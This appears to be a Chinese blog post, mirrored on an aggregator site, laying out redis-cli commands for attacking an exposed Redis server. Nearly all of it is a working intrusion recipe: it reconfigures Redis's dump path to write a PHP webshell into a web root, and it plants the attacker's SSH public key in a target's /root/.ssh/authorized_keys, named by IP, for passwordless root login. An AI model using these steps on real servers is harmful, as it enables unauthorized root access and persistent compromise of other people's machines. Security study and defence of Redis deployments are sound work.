zoukankan      html  css  js  c++  java
  • redis写shell与ssh免密码登陆

     redis-cli参数:
    -h :指定要连接的主机IP或域名
    -p :指定连接的端口
    -a :指定密码
    -r :执行指定的命令
    -n :数据库名
    -x :将最后一个参数输出为value

    redis写shell-----端口6379 redis-cli -h 127.0.0.1
    config set dir ar/www/webroot/
    config set dbfilename redis.php
    set webshell "<?php phpinfo();?>"
    save

    ssh-keygen -t rsa -P ""      -P表示登陆密码
    scp /root/.ssh/id_rsa.pub root@192.168.1.1:/root/.ssh/authorized_keys
    chmod 600 authorized_keys 
    导出id_ras.pub
    (echo -e " "; cat id_rsa.pub; echo -e " ") &gt; key.txt

    连接目标192.168.199.166的redis 通过-x参数将key.txt 设置为 key “crackit” 的value 实际上对方的数据库上已经有一个key —value
    cat key.txt | redis-cli -h 192.168.199.166 -x set crackit

    redis-cli -h 192.168.199.166 # 连接目标主机的redis
    config get dir #获取redis的备份路径
    config set dir /root/.ssh #设置数据库的备份路径
    config set dbfilename authorized_keys #设置备份的数据库名称为authorized_keys
    config get dbfilename # 查看数据库名是否正确设置
    key * #查看我们的key是否成功创建
    save # 将数据保存在硬盘之中 
  • 相关阅读:
    jconsole远程连接监控tomcat
    Nginx监控配置
    Nginx安装+2tomcat配置
    Flexbox布局模式的理解
    Web性能优化:图片优化
    大公司里怎样开发和部署前端代码?
    原生js下拉刷新
    全国三级城市联动 js版
    js获取智能机浏览器版本信息
    JS年月日三级联动下拉框日期选择代码
  • 原文地址:https://www.cnblogs.com/whoami101/p/5272269.html
Copyright © 2011-2022 走看看